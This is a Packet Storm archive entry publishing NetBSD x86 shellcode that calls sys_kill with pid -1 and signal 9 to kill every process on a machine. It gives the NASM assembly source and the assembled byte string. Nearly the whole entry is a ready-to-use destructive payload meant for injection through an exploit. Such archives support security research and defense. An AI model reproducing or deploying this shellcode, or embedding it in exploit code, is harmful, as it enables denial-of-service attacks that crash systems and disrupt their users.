NetBSD x86 Kill All Processes Shellcode

2009-06-19T00:00:00
ID PACKETSTORM:78523
Type packetstorm
Reporter Packet Storm
Modified 2009-06-19T00:00:00

Description

                                        
                                            `/*  
  
netbsd/x86 kill all processes shellcode  
author REMOVED AT REQUEST OF AUTHOR  
contact REMOVED AT REQUEST OF AUTHOR  
this shellcode is using syscall number 37 or 0x25  
37 STD { int sys_kill(int pid, int signum); }  
  
  
here is assembler code using intel syntaxe and NASM  
--------------begin-----------  
  
section .note.netbsd.ident  
dd 0x07,0x04,0x01  
db "NetBSD",0x00,0x00  
dd 200000000  
  
  
section .data  
  
section .text  
global _start  
  
_start:  
xor eax, eax  
push 0x09  
mov eax, -1  
push eax  
xor eax,eax  
mov al, 37   
push eax  
int 0x80  
-------------------------end------------  
  
if we dissasemble this code wi will get shellcode  
"\x66\x31\xc0\x68\x09\x00\x66\xb8\xff\xff\xff\xff\x66\x50\x66\x31\xc0\xb0\x25\x66\x50\xcd\x80"  
*/  
  
  
  
`